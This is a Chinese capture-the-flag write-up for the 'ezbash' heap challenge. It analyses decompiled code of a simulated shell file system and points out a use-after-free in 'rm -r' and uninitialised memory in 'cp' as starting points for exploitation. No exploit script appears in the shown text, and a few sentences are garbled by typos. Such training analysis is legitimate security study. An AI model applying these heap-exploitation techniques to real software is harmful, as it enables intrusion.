# MRCTF pwn ezbash
拿到题目的时候,直接运行起来发现是一个文件系统,怀疑是不是一个 kernel 的题目,但是并没有给出内核文件,所以认定了就是一道堆题。这也是我坚持做下去的原因。
# 题目链接
https://github.com/dreamkecat/dreamkecat.github.io/tree/main/challenge/MRctf_ezbash
# 环境
dreamcat@ubuntu:~/Desktop/mrctf/ezbash$ strings libc.so.6 |grep ubuntu | |
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.7) stable release version 2.31. | |
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>. | |
dreamcat@ubuntu:~/Desktop/mrctf/ezbash$ checksec --file=ezbash | |
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE | |
Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH No Symbols No 0 7 ezbash | |
dreamcat@ubuntu:~/Desktop/mrctf/ezbash$ |
2.31 的题目,保护全开,八成就是堆题;
程序模拟了一个简单的文件系统,提供了 11 种命令,对于我们命令行的输出,程序会进行切片
dreamcat@ubuntu:~/Desktop/mrctf/ezbash$ ./ezbash | |
hacker:/$ help | |
Welcome to ezbash | |
Just have fun here! | |
The following are built in: | |
cd | |
ls | |
echo | |
cat | |
touch | |
rm | |
mkdir | |
cp | |
pwd | |
help | |
exit | |
hacker:/$ |
解决题目的第一个难点就是对于代码的审计,因为命令太多,相较于传统的菜单堆题,这道题提供的命令太多,导致分析题目需要很多时间。
# 解题过程
# 题目的整体把握
题目的所有文件的操作都是基于堆块,以及链表的数据结构
重要的结构体
00000000 file struc ; (sizeof=0x40, mappedto_9) | |
00000000 flag dd ? | |
00000004 name db 16 dup(?) ; string(C) | |
00000014 field_14 dd ? | |
00000018 context dq ? ; offset | |
00000020 prev_bro dq ? ; offset | |
00000028 next_bro dq ? ; offset | |
00000030 futher dq ? ; offset | |
00000038 firstson dq ? ; offset | |
00000040 file ends |
整个体系中,其实概括 i 起来就是对于目录以及文件的操作,而这些对象都是基于 file 的结构体。flag 标志,对应的是目录(文件夹)或者文件,flag=0,表示的是文件夹,flag=1 表示的文件。文件夹中的所有子文件以及子文件夹都会通过一个双链表联系起来。file 的 firstson 会储存子文件链表的头指针。头节点的 prev_bro 和尾节点的 neat_bro 为 0,name16 字节的数组是 file 的名字,文件夹还会记录自己的父文件夹是的指针。文件则不会,但是文件会有一个特殊的 context 指针,指向另外一个堆块,用于储存写入文件的内容。
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
_BYTE *readn() | |
{ | |
int v1; // [rsp+Ch] [rbp-14h] | |
int v2; // [rsp+10h] [rbp-10h] | |
int v3; // [rsp+14h] [rbp-Ch] | |
_BYTE *ptr; // [rsp+18h] [rbp-8h] | |
v1 = 0x150; | |
v2 = 0; | |
ptr = malloc(0x150uLL); | |
if ( !ptr ) | |
{ | |
fwrite("ezbash: allocation error\n", 1uLL, 0x19uLL, stderr); | |
exit(1); | |
} | |
while ( 1 ) | |
{ | |
v3 = getchar(); | |
if ( v3 == -1 || v3 == '\n' ) | |
break; | |
ptr[v2++] = v3; | |
if ( v2 >= v1 ) | |
{ | |
v1 += 0x150; | |
ptr = realloc(ptr, v1); | |
if ( !ptr ) | |
{ | |
fwrite("ezbash: allocation error\n", 1uLL, 0x19uLL, stderr); | |
exit(1); | |
} | |
} | |
} | |
ptr[v2] = 0; | |
return ptr; | |
} |
对于我们输入的命令默认是存放在一个 0x161 的堆块,但是当我们输入的长度过长时,会调整堆块的大小,所以这里是不存在在溢出的,虽然结尾没有补零,但是每次都会被 v1=0x150 限制,没有溢出的利用。
对于每条命令,他的解析不是直接的匹配,而是会对数据进行切片的处理,如下,调用 strtok 库函数,会返回 delim 的前地址(代码中可能是由于 idapro 分析错误, i = strtok (0LL, "\t\r\n\a"),实际上会完全分析我们输入的命令,应该是 i = strtok (i, "\t\r\n\a"))这里会将我们的命令分解成操作命令,对象,对吧对应字符串的地址保存在另一个堆块里面。strtok 遇到空字符结束。
_QWORD *__fastcall process(char *a1) | |
{ | |
int v2; // [rsp+18h] [rbp-18h] | |
int v3; // [rsp+1Ch] [rbp-14h] | |
_QWORD *ptr; // [rsp+20h] [rbp-10h] | |
char *i; // [rsp+28h] [rbp-8h] | |
v2 = 64; | |
v3 = 0; | |
ptr = malloc(0x200uLL); | |
if ( !ptr ) | |
{ | |
fwrite("ezbash: allocation error\n", 1uLL, 0x19uLL, stderr); | |
exit(1); | |
} | |
for ( i = strtok(a1, " \t\r\n\a"); i; i = strtok(0LL, " \t\r\n\a") )// split | |
{ | |
ptr[v3++] = i; | |
if ( v3 >= v2 ) | |
{ | |
v2 += 0x40; | |
ptr = realloc(ptr, 8LL * v2); | |
if ( !ptr ) | |
{ | |
fwrite("ezbash: allocation error\n", 1uLL, 0x19uLL, stderr); | |
exit(1); | |
} | |
} | |
} | |
ptr[v3] = 0LL; | |
return ptr; | |
} |
后面指令的实现都是通过保留的字符串指针分析比较的。
__int64 __fastcall check(const char **cmd) | |
{ | |
int i; // [rsp+1Ch] [rbp-4h] | |
if ( !*cmd ) | |
return 1LL; | |
for ( i = 0; i < L11(); ++i ) // i<11 | |
{ | |
if ( !strcmp(*cmd, *(&list + i)) ) | |
return (funcs[i])(cmd); | |
} | |
printf("%s: command not found\n", *cmd); | |
return 0xFFFFFFFFLL; | |
} |
list 保存各个命令的名称进行比较,cmd 是处理后的保留字符串地址的 chunk。fucns 保存各个命令的函数的地址。
程序会使用 2 个全局变量记录我们的当前位置,一个是我们所在的文件夹的指针,一个是字符串记录的是从 home 到当前位置的路径的名字。
.bss:0000000000006140 cur_position_addr db 50h dup(?) ; DATA XREF: apwd+10↑o | |
.bss:0000000000006140 ; acd+10F↑o ... | |
.bss:0000000000006190 ; file *cuurr_pos | |
.bss:0000000000006190 cuurr_pos dq ? ; DATA XREF: unlink:loc_15F0↑r |
其实真正利用的命令没有多少,ls,pwd,help,exit,cd,cat,touch, 都没有漏洞的利用。
# ls
列出当前文件夹下的内容,或者以及子文件夹的内容,成灰只可以识别到以及子文件夹,对于 A/B, 成为程序人为这是一个 file 的名称,而不是一条路径。但是./A 是有效的,程序会识别./ 为当前目录。
__int64 __fastcall als(const char **cmd, __int64 a2) | |
{ | |
int v2; // eax | |
unsigned __int64 v3; // rax | |
void *v4; // rsp | |
int v6; // eax | |
__int64 v7; // rbx | |
size_t v8; // rax | |
int v9; // eax | |
__int64 v10[3]; // [rsp+8h] [rbp-A0h] BYREF | |
const char **comment; // [rsp+20h] [rbp-88h] | |
char v12; // [rsp+37h] [rbp-71h] | |
int v13; // [rsp+38h] [rbp-70h] | |
int v14; // [rsp+3Ch] [rbp-6Ch] | |
int nums; // [rsp+40h] [rbp-68h] | |
int v16; // [rsp+44h] [rbp-64h] | |
file *v17; // [rsp+48h] [rbp-60h] BYREF | |
char *s1; // [rsp+50h] [rbp-58h] | |
file *v19; // [rsp+58h] [rbp-50h] | |
__int64 v20; // [rsp+60h] [rbp-48h] | |
__int64 v21; // [rsp+68h] [rbp-40h] | |
char *dest; // [rsp+70h] [rbp-38h] | |
char delim[2]; // [rsp+7Eh] [rbp-2Ah] BYREF | |
unsigned __int64 v24; // [rsp+80h] [rbp-28h] | |
comment = cmd; | |
v24 = __readfsqword(0x28u); | |
v17 = cuurr_pos->firstson; | |
v19 = cuurr_pos; | |
v20 = 0LL; | |
v12 = 0; | |
nums = 0; | |
strcpy(delim, "/"); | |
while ( comment[++nums] ) // 只有 ls 就会跳过 | |
{ | |
if ( strlen(comment[nums]) <= v14 ) | |
v2 = v14; | |
else | |
v2 = strlen(comment[nums]) + 1; | |
v14 = v2; | |
} | |
v21 = v14 - 1LL; | |
v10[0] = v14; | |
v10[1] = 0LL; | |
v3 = 16 * ((v14 + 15LL) / 0x10uLL); | |
while ( v10 != (v10 - (v3 & 0xFFFFFFFFFFFFF000LL)) ) | |
; | |
v4 = alloca(v3 & 0xFFF); | |
if ( (v3 & 0xFFF) != 0 ) | |
*(&v10[-1] + (v3 & 0xFFF)) = *(&v10[-1] + (v3 & 0xFFF)); | |
dest = v10; | |
v16 = nums - 1; | |
if ( nums == 1 ) | |
{ | |
info_ls(); | |
return 1LL; | |
} | |
nums = 1; | |
LABEL_44: | |
if ( nums <= v16 ) | |
{ | |
v14 = strlen(comment[nums]); | |
v13 = 0; | |
strcpy(dest, comment[nums]); | |
for ( s1 = strtok(dest, delim); ; s1 = strtok(0LL, delim) ) | |
{ | |
if ( !s1 ) | |
{ | |
LABEL_43: | |
cuurr_pos = v19; | |
++nums; | |
goto LABEL_44; | |
} | |
v17 = cuurr_pos->firstson; | |
if ( !strcmp(s1, ".") ) | |
goto LABEL_16; | |
if ( !strcmp(s1, off_4077) ) | |
break; | |
v12 = findfile(&v17, s1); | |
if ( v12 != 1 ) | |
{ | |
fprintf(stderr, "ezbash: cannot access '%s': No such file or directory\n", s1); | |
goto LABEL_43; | |
} | |
if ( checkfile(v17) ) | |
{ | |
v7 = v14; | |
v8 = strlen(s1); | |
if ( !strcmp(&dest[v7 - v8], s1) ) | |
puts(v17->name); | |
else | |
fprintf(stderr, "ezbash: cannot access '%s': Not a directory\n", comment[nums]); | |
if ( v16 > 1 && nums < v16 ) | |
putchar(10); | |
goto LABEL_43; | |
} | |
if ( checkfolder(v17) ) | |
{ | |
cuurr_pos = v17; | |
v9 = strlen(s1); | |
v13 += v9 + 1; | |
} | |
LABEL_32: | |
if ( !comment[nums][v13 - 1] || comment[nums][v13 - 1] == 47 && !comment[nums][v13] ) | |
{ | |
if ( v16 > 1 ) | |
printf("%s:\n", comment[nums]); | |
info_ls(); | |
} | |
if ( v16 > 1 && nums < v16 ) | |
putchar(10); | |
} | |
if ( cuurr_pos->futher ) | |
cuurr_pos = cuurr_pos->futher; | |
LABEL_16: | |
v6 = strlen(s1); | |
v13 += v6 + 1; | |
goto LABEL_32; | |
} | |
return 1LL; | |
} |
讲真 ls 代码很长,但是没啥用,特别是那个 alloca,就是浪费时间。
# cd
cd 也是一个简单的跳到跳到某个目录下,实际就是更改下那两个变量,以及链表的遍历。
__int64 __fastcall acd(char **cmd) | |
{ | |
char v1; // al | |
size_t v3; // rbx | |
int len_name; // [rsp+18h] [rbp-38h] | |
const char *s1; // [rsp+20h] [rbp-30h] | |
file *pos; // [rsp+28h] [rbp-28h] | |
char delim[2]; // [rsp+36h] [rbp-1Ah] BYREF | |
unsigned __int64 v8; // [rsp+38h] [rbp-18h] | |
v8 = __readfsqword(0x28u); | |
if ( cmd[1] ) | |
{ | |
if ( cmd[2] ) | |
{ | |
fwrite("ezbash: too many arguments\n", 1uLL, 0x1BuLL, stderr); | |
} | |
else | |
{ | |
strcpy(delim, "/"); | |
for ( s1 = strtok(cmd[1], delim); s1; s1 = strtok(0LL, delim) ) | |
{ | |
if ( strcmp(s1, ".") ) // 当前目录下或者父目录 | |
{ | |
if ( !strcmp(s1, off_4077) ) // ../ | |
{ | |
if ( cuurr_pos->futher ) | |
{ | |
len_name = strlen(cuurr_pos->name); | |
cur_position_addr[(strlen(cur_position_addr) - 1 - len_name)] = 0; | |
cuurr_pos = cuurr_pos->futher; | |
} | |
} | |
else | |
{ | |
pos = cuurr_pos->firstson; // ./ | |
((&check_error + 1))(); | |
if ( v1 ) | |
{ | |
fprintf(stderr, "ezbash: %s: No such file or directory\n", s1); | |
return 1LL; | |
} | |
while ( pos && strcmp(pos->name, s1) )// 参数的第一的目标位置文件夹 | |
pos = pos->next_bro; | |
if ( !checkfolder(pos) ) // 检查是否为目录 | |
{ | |
fwrite("something wrong happened\n", 1uLL, 0x19uLL, stderr); | |
return 1LL; | |
} | |
cuurr_pos = pos; | |
v3 = strlen(cur_position_addr); | |
if ( v3 + strlen(pos->name) <= 0x50 ) | |
{ | |
strcat(cur_position_addr, pos->name); | |
*&cur_position_addr[strlen(cur_position_addr)] = '/'; | |
} | |
} | |
} | |
} | |
} | |
} | |
else | |
{ | |
fwrite("ezbash: expected argument\n", 1uLL, 0x1AuLL, stderr); | |
} | |
return 1LL; | |
} |
# cat
cat 会输出文件中的数据,采用的是 puts,只会输出字符串。为实现 cat 重定向到文件
__int64 __fastcall acat(char **cmd) | |
{ | |
unsigned __int64 v1; // rax | |
void *v2; // rsp | |
_BYTE v4[8]; // [rsp+8h] [rbp-70h] BYREF | |
char **comment; // [rsp+10h] [rbp-68h] | |
char v6; // [rsp+1Fh] [rbp-59h] | |
int v7; // [rsp+20h] [rbp-58h] | |
int num; // [rsp+24h] [rbp-54h] | |
file *v9; // [rsp+28h] [rbp-50h] | |
__int64 v10; // [rsp+30h] [rbp-48h] | |
char *dest; // [rsp+38h] [rbp-40h] | |
unsigned __int64 v12; // [rsp+40h] [rbp-38h] | |
comment = cmd; | |
v12 = __readfsqword(0x28u); | |
num = 0; // 参数的数目 | |
v6 = 0; | |
v7 = 0; //v7 最大参数的长度 | |
v9 = 0LL; | |
while ( comment[++num] ) | |
{ | |
if ( strlen(comment[num]) > v7 ) | |
v7 = strlen(comment[num]) + 1; | |
} | |
v10 = v7 - 1LL; | |
v1 = 16 * ((v7 + 15LL) / 0x10uLL); | |
while ( v4 != &v4[-(v1 & 0xFFFFFFFFFFFFF000LL)] ) | |
; | |
v2 = alloca(v1 & 0xFFF); | |
if ( (v1 & 0xFFF) != 0 ) | |
*&v4[(v1 & 0xFFF) - 8] = *&v4[(v1 & 0xFFF) - 8]; | |
dest = v4; | |
num = 1; | |
if ( !comment[1] ) | |
fwrite("ezbash: missing operand\n", 1uLL, 0x18uLL, stderr); | |
while ( comment[num] ) | |
{ | |
v9 = cuurr_pos->firstson; | |
strcpy(dest, comment[num]); | |
while ( v9 ) | |
{ | |
if ( !strcmp(dest, v9->name) ) | |
{ | |
if ( v9->context ) | |
puts(v9->context); | |
v6 = 1; | |
break; | |
} | |
v9 = v9->next_bro; | |
} | |
if ( v6 != 1 ) | |
fprintf(stderr, "ezbash: %s: No such file or directory\n", comment[num]); | |
++num; | |
} | |
return 1LL; | |
} |
# pwd
仅仅只是输出当前的路径
__int64 apwd() | |
{ | |
puts(cur_position_addr); | |
return 1LL; | |
} |
# exit,help
没什么可以说的。
# mkdir
在当前的目录下创建一个字目录,并把她 link 进 firstson 的链表,采用的是头插法。
__int64 __fastcall amkdir(char **cmd) | |
{ | |
char v1; // al | |
char v3[2]; // [rsp+1Ah] [rbp-16h] BYREF | |
int v4; // [rsp+1Ch] [rbp-14h] | |
file *first_son; // [rsp+20h] [rbp-10h] | |
file *newfile; // [rsp+28h] [rbp-8h] | |
v4 = 1; | |
qmemcpy(v3, "./", sizeof(v3)); | |
if ( !cmd[1] ) | |
fwrite("ezbash: missing operand\n", 1uLL, 0x18uLL, stderr); | |
while ( cmd[v4] ) | |
{ | |
first_son = cuurr_pos->firstson; | |
if ( strchr(cmd[v4], v3[0]) ) | |
{ | |
++v4; | |
} | |
else if ( strchr(cmd[v4], v3[1]) ) | |
{ | |
++v4; | |
} | |
else | |
{ | |
((&check_error + 1))(); | |
if ( v1 != 1 ) | |
{ | |
fprintf(stderr, aEzbashCannotCr, cmd[v4++]); | |
} | |
else | |
{ | |
newfile = calloc40(); | |
newfile->flag = 0; | |
newfile->futher = cuurr_pos; | |
copy_name(newfile, cmd[v4]); | |
if ( cuurr_pos->firstson ) | |
link(first_son, newfile); | |
else | |
cuurr_pos->firstson = newfile; | |
++v4; | |
} | |
} | |
} | |
return 1LL; | |
} |
# touch
创建一个空文件,与 mkdir 的操作类似
__int64 __fastcall atouch(char **cmd) | |
{ | |
char v1; // al | |
char v3[2]; // [rsp+1Ah] [rbp-16h] BYREF | |
int v4; // [rsp+1Ch] [rbp-14h] | |
file *v5; // [rsp+20h] [rbp-10h] | |
file *v6; // [rsp+28h] [rbp-8h] | |
v4 = 1; | |
qmemcpy(v3, "./", sizeof(v3)); | |
if ( !cmd[1] ) | |
fwrite("ezbash: missing operand\n", 1uLL, 0x18uLL, stderr); | |
while ( cmd[v4] ) | |
{ | |
if ( strchr(cmd[v4], v3[0]) ) | |
{ | |
++v4; | |
} | |
else if ( strchr(cmd[v4], v3[1]) ) | |
{ | |
++v4; | |
} | |
else | |
{ | |
v5 = cuurr_pos->firstson; | |
((&check_error + 1))(); | |
if ( v1 != 1 ) | |
{ | |
++v4; | |
} | |
else | |
{ | |
v6 = calloc40(); | |
v6->flag = 1; | |
copy_name(v6, cmd[v4]); | |
if ( cuurr_pos->firstson ) | |
link(v5, v6); | |
else | |
cuurr_pos->firstson = v6; | |
++v4; | |
} | |
} | |
} | |
return 1LL; | |
} |
mkdir 与 touch 创建新的 file 的时候,调用 calloc40,这个其实就是模拟了 calloc
file *malloc40() | |
{ | |
file *v1; // [rsp+8h] [rbp-8h] | |
v1 = malloc(0x40uLL); | |
memset(v1->name, 0, sizeof(v1->name)); | |
v1->context = 0LL; | |
v1->firstson = 0LL; | |
v1->next_bro = 0LL; | |
v1->prev_bro = 0LL; | |
v1->futher = 0LL; | |
return v1; | |
} | |
file *__fastcall link(file *curr, file *aim) | |
{ | |
file *result; // rax | |
while ( curr->next_bro ) | |
curr = curr->next_bro; | |
curr->next_bro = aim; | |
result = aim; | |
aim->prev_bro = curr; | |
return result; | |
} |
这也导致了,后面泄露地址有点困难。两个命令支持在当前目录下一次创建多个对象
# rm
rm 可以进行两种操作,直接删除文件,或者 - r 参数删除文件夹,但是都只是当前目录下的对象。
__int64 __fastcall arm(char **cmd) | |
{ | |
char v2; // [rsp+1Bh] [rbp-15h] | |
int v3; // [rsp+1Ch] [rbp-14h] | |
file *file; // [rsp+20h] [rbp-10h] | |
file *ptr; // [rsp+28h] [rbp-8h] | |
v3 = 1; | |
if ( !cmd[1] ) | |
fwrite("ezbash: missing operand\n", 1uLL, 0x18uLL, stderr); | |
while ( cmd[v3] ) | |
{ | |
file = cuurr_pos->firstson; | |
v2 = 0; | |
if ( !strcmp(cmd[v3], "-r") ) // -r | |
{ | |
if ( cmd[++v3] ) | |
{ | |
while ( file ) | |
{ | |
if ( !strcmp(file->name, cmd[v3]) ) | |
{ | |
v2 = 1; | |
if ( !checkfolder(file) ) | |
{ | |
fprintf(stderr, "ezbash -r: cannot remove '%s': Is a file\n", cmd[v3]); | |
goto LABEL_26; | |
} | |
memset(file->name, 0, sizeof(file->name)); | |
file->futher = 0LL; | |
if ( file->firstson ) | |
{ | |
ptr = file->firstson; | |
do | |
{ | |
if ( ptr->context ) | |
free(ptr->context); | |
free(ptr); // uaf | |
// | |
ptr = ptr->next_bro; | |
} | |
while ( ptr ); | |
} | |
goto LABEL_14; | |
} | |
file = file->next_bro; | |
} | |
goto LABEL_26; | |
} | |
++v3; | |
} // 删除单文件 | |
// | |
// | |
else | |
{ | |
while ( file ) | |
{ | |
if ( !strcmp(file->name, cmd[v3]) ) | |
{ | |
v2 = 1; | |
if ( checkfile(file) ) | |
{ | |
memset(file->name, 0, sizeof(file->name)); | |
if ( file->context ) | |
{ | |
free(file->context); | |
file->context = 0LL; // 没有 uaf | |
} | |
LABEL_14: | |
unlink(file); | |
} | |
else | |
{ | |
fprintf(stderr, "ezbash: '%s': Is a directory\n", cmd[v3]); | |
} | |
break; | |
} | |
file = file->next_bro; | |
} | |
LABEL_26: | |
if ( v2 != 1 ) | |
fprintf(stderr, "ezbash: '%s': No such file or directory\n", cmd[v3]); | |
++v3; | |
} | |
} | |
void __fastcall unlink(file *a1) | |
{ | |
if ( a1->next_bro ) | |
a1->next_bro->prev_bro = a1->prev_bro; | |
if ( a1->prev_bro ) | |
a1->prev_bro->next_bro = a1->next_bro; | |
else | |
cuurr_pos->firstson = a1->next_bro; | |
a1->next_bro = 0LL; | |
a1->prev_bro = 0LL; | |
free(a1); | |
} |
只可以堆当前目录的对象进行操作。当删除的目录下有子目录 x,不会破坏 x 的子文件链表结构,这里看似存在 uaf 名单时册灰姑娘徐每次创建 file 都会清空,所以无法利用。checkfile 以及 checkfolder 分别检查对象是文件还是文件夹。-r 不可删除文件。unlink 的操作也没有什么问题,
# echo
echo 支持两种操作,一个是将内容直接输出,一个是根据倒数第二个参数是否为 “->” 决定,不是,就直接输出,否则,就会将数据写进指定的 file。强调,一定是倒数第二参数。其他一律认为是内容,字符串不存在空格,是写进 context 的时候额外加入的。另外,echo 不可以将空字符写入。而且也不会在
__int64 __fastcall aecho(char **cmd) | |
{ | |
__int64 result; // rax | |
size_t size; // rax | |
file *v3; // rbx | |
file *v4; // rbx | |
size_t v5; // rax | |
int v6; // [rsp+14h] [rbp-3Ch] | |
int i; // [rsp+14h] [rbp-3Ch] | |
int j; // [rsp+14h] [rbp-3Ch] | |
int chunksize; // [rsp+18h] [rbp-38h] | |
int textlen; // [rsp+1Ch] [rbp-34h] | |
int argv_nums; // [rsp+20h] [rbp-30h] | |
file *file; // [rsp+28h] [rbp-28h] BYREF | |
const char *filename; // [rsp+30h] [rbp-20h] | |
unsigned __int64 v14; // [rsp+38h] [rbp-18h] | |
v14 = __readfsqword(0x28u); | |
v6 = 0; | |
if ( cmd[1] ) | |
{ | |
do | |
++v6; | |
while ( cmd[v6] ); | |
argv_nums = v6 - 1; | |
if ( tofile(cmd[v6 - 2]) ) | |
{ | |
for ( i = 1; i < argv_nums; ++i ) | |
printf("%s ", cmd[i]); | |
puts(cmd[argv_nums]); | |
result = 1LL; | |
} | |
else | |
{ // 写入文件 | |
file = cuurr_pos->firstson; | |
filename = cmd[argv_nums]; | |
if ( findfile(&file, filename) != 1 ) | |
{ | |
fprintf(stderr, "ezbash: %s: No such file\n", filename); | |
result = 1LL; | |
} | |
else if ( checkfile(file) ) // 检查是否为文件 | |
{ | |
textlen = 0; | |
if ( file->context ) // 已经写过了 | |
{ | |
size = get_chunk_size(file->context); | |
memset(file->context, 0, size); // 清空 | |
} | |
for ( j = 1; j < argv_nums - 1; ++j ) | |
{ | |
if ( file->context ) | |
{ | |
chunksize = get_chunk_size(file->context); | |
} | |
else // 空的,申请 | |
{ | |
chunksize = 0x150; | |
v3 = file; | |
v3->context = malloc(0x150uLL); | |
memset(file->context, 0, 0x150uLL); | |
} | |
textlen += strlen(cmd[j]) + 2; | |
while ( textlen >= chunksize ) | |
chunksize += 0x150; | |
if ( chunksize > get_chunk_size(file->context) ) | |
{ | |
v4 = file; | |
v4->context = realloc(file->context, chunksize); | |
} | |
v5 = strlen(cmd[j]); | |
strncat(file->context, cmd[j], v5); | |
if ( j < argv_nums - 2 ) | |
*(file->context + strlen(file->context)) = ' '; | |
} | |
result = 1LL; | |
} | |
else | |
{ | |
fprintf(stderr, "ezbash: %s: Is a directory\n", filename); | |
result = 1LL; | |
} | |
} | |
} | |
else | |
{ | |
putchar(10); | |
result = 1LL; | |
} | |
return result; | |
} | |
/* Orphan comments: | |
stdout | |
*/ |
每次 echo,都会清空 context 的内容,而且是跟据 chunksize 清空的。并且如果写的数据大于等于 chunksize-2 就会把 context 调大。而且注意。
# cp
整个程序攻击的开始就是在 cp,cp 可以拷贝当前目录下的文件,一个是把他的内容拷贝到当前目录下的另一个文件里,起一个是拷贝到子文件夹下的文件里,如果指定的文件不存在,会自动创建。但是佟阿姨那个调用的是 calloc40,所以没有 uaf。问题在于对 context 的复制,目标文件没有 context 指针,会申请一个,重点来了,这里用的是 malloc,而且不会清空。如果我们要拷贝的文件没有 context,会把对应的目标文件的 context free。或者直接创建一个新的空文件。
__int64 __fastcall acp(char **cmd) | |
{ | |
unsigned __int64 v1; // rax | |
void *v2; // rsp | |
__int64 v4; // rbx | |
size_t v5; // rax | |
__int64 v6[3]; // [rsp+8h] [rbp-B0h] BYREF | |
char **comment; // [rsp+20h] [rbp-98h] | |
char v8; // [rsp+29h] [rbp-8Fh] | |
char v9; // [rsp+2Ah] [rbp-8Eh] | |
char v10; // [rsp+2Bh] [rbp-8Dh] | |
int i; // [rsp+2Ch] [rbp-8Ch] | |
int nums; // [rsp+30h] [rbp-88h] | |
int v13; // [rsp+34h] [rbp-84h] | |
file *list; // [rsp+38h] [rbp-80h] BYREF | |
file *destination; // [rsp+40h] [rbp-78h] BYREF | |
file *copied_file; // [rsp+48h] [rbp-70h] BYREF | |
char *s1; // [rsp+50h] [rbp-68h] | |
file *curops; // [rsp+58h] [rbp-60h] | |
file *ptr; // [rsp+60h] [rbp-58h] | |
__int64 v20; // [rsp+68h] [rbp-50h] | |
char *dest; // [rsp+70h] [rbp-48h] | |
file *curr; // [rsp+78h] [rbp-40h] | |
file *temp; // [rsp+80h] [rbp-38h] | |
char delim[2]; // [rsp+8Eh] [rbp-2Ah] BYREF | |
unsigned __int64 v25; // [rsp+90h] [rbp-28h] | |
comment = cmd; | |
v25 = __readfsqword(0x28u); | |
i = 0; | |
list = cuurr_pos->firstson; | |
curops = cuurr_pos; | |
destination = cuurr_pos->firstson; | |
copied_file = 0LL; | |
ptr = 0LL; | |
v8 = 0; | |
v9 = 0; | |
strcpy(delim, "/"); | |
do | |
++i; | |
while ( comment[i] ); | |
nums = i - 1; | |
v13 = strlen(comment[i - 1]); | |
v20 = v13 + 1 - 1LL; | |
v6[0] = v13 + 1; | |
v6[1] = 0LL; | |
v1 = 16 * ((v6[0] + 15) / 0x10uLL); | |
while ( v6 != (v6 - (v1 & 0xFFFFFFFFFFFFF000LL)) ) | |
; | |
v2 = alloca(v1 & 0xFFF); | |
if ( (v1 & 0xFFF) != 0 ) | |
*(&v6[-1] + (v1 & 0xFFF)) = *(&v6[-1] + (v1 & 0xFFF)); | |
dest = v6; | |
if ( nums == 1 ) | |
{ | |
fprintf(stderr, "ezbash: missing destination file operand after '%s'\n", comment[1]); | |
return 1LL; | |
} | |
strcpy(dest, comment[nums]); | |
for ( s1 = strtok(dest, delim); ; s1 = strtok(0LL, delim) ) | |
{ | |
if ( !s1 ) | |
{ | |
for ( i = 1; i < nums; ++i ) | |
{ | |
copied_file = curops->firstson; | |
v9 = findfile(&copied_file, comment[i]); | |
if ( v9 != 1 || !checkfile(copied_file) )// 未找到 ,或者不是个文件 | |
{ | |
fprintf(stderr, "ezbash: cannot stat '%s': No such file or directory\n", comment[i]); | |
} | |
else | |
{ // 索引最后一个 file | |
destination = cuurr_pos->firstson; | |
v8 = findfile(&destination, comment[i]); | |
if ( v8 ) | |
{ | |
copy(copied_file, destination); // 文件复制到其他位置 | |
cuurr_pos = curops; | |
} | |
else | |
{ | |
curr = cuurr_pos->firstson; | |
temp = calloc40(); | |
temp->flag = 1; | |
copy_name(temp, copied_file->name); | |
if ( copied_file->context ) | |
copycontext(copied_file, temp); | |
else | |
temp->context = 0LL; | |
if ( curr ) | |
link(curr, temp); | |
else | |
cuurr_pos->firstson = temp; | |
} | |
} | |
} | |
cuurr_pos = curops; | |
return 1LL; | |
} | |
v10 = 0; | |
if ( strcmp(s1, ".") ) | |
break; | |
LABEL_32: | |
; | |
} | |
if ( !strcmp(s1, off_4077) ) | |
{ | |
cuurr_pos = cuurr_pos->futher; | |
goto LABEL_32; | |
} | |
list = cuurr_pos->firstson; | |
v10 = findfile(&list, s1); | |
if ( nums > 2 ) | |
{ | |
if ( v10 != 1 || !checkfolder(list) ) | |
{ | |
fprintf(stderr, "ezbash: target '%s' is not a directory\n", comment[nums]); | |
cuurr_pos = curops; | |
return 1LL; | |
} | |
cuurr_pos = list; | |
goto LABEL_32; | |
} | |
if ( nums != 2 ) | |
goto LABEL_32; | |
v4 = v13; | |
v5 = strlen(s1); | |
if ( strcmp(&dest[v4 - v5], s1) ) | |
goto LABEL_32; | |
copied_file = curops->firstson; | |
destination = curops->firstson; | |
v9 = findfile(&copied_file, comment[1]); | |
if ( v9 != 1 ) | |
{ | |
fprintf(stderr, "ezbash: cannot stat '%s': No such file or directory\n", comment[1]); | |
cuurr_pos = curops; | |
return 1LL; | |
} | |
if ( !checkfile(copied_file) ) | |
{ | |
fprintf(stderr, "ezbash: -r not specified; omitting directory '%s'\n", comment[1]); | |
cuurr_pos = curops; | |
return 1LL; | |
} | |
v8 = findfile(&destination, s1); | |
if ( v8 == 1 ) | |
{ | |
if ( checkfolder(destination) ) | |
{ | |
cuurr_pos = destination; | |
} | |
else if ( checkfile(destination) ) | |
{ | |
copy(copied_file, destination); | |
cuurr_pos = curops; | |
return 1LL; | |
} | |
goto LABEL_32; | |
} | |
ptr = calloc40(); | |
ptr->flag = 1; | |
copy_name(ptr, comment[2]); | |
if ( copied_file->context ) | |
copycontext(copied_file, ptr); | |
link(cuurr_pos->firstson, ptr); | |
cuurr_pos = curops; | |
return 1LL; | |
} | |
char *__fastcall copy(file *src, file *des) | |
{ | |
char *result; // rax | |
file *dest; // [rsp+0h] [rbp-20h] | |
int v4; // [rsp+18h] [rbp-8h] | |
int v5; // [rsp+1Ch] [rbp-4h] | |
dest = des; | |
result = src; | |
if ( src != des && (src->context || (result = des->context) != 0LL) ) | |
{ | |
if ( src->context || !des->context ) | |
{ | |
if ( src->context && des->context ) // 文件复制到文件 | |
{ | |
v4 = strlen(src->context); | |
v5 = strlen(des->context); | |
if ( v4 > v5 ) | |
{ | |
dest = realloc(des->context, v4 + 1); | |
memset(dest->context, 0, v4 + 1); | |
} | |
else | |
{ | |
memset(des->context, 0, v5); | |
} | |
result = strncpy(dest->context, src->context, v4); | |
} | |
else // 没有 context | |
{ | |
result = src->context; | |
if ( result ) | |
{ | |
result = des->context; | |
if ( !result ) | |
result = copycontext(src, des); | |
} | |
} | |
} | |
else | |
{ | |
free(des->context); | |
result = des; | |
des->context = 0LL; | |
} | |
} | |
return result; | |
} | |
char *__fastcall copycontext(file *src, file *dest) | |
{ | |
int v3; // [rsp+1Ch] [rbp-4h] | |
v3 = strlen(src->context); | |
dest->context = malloc(v3); | |
memset(dest->context, 0, v3); | |
return strncpy(dest->context, src->context, v3); | |
} |
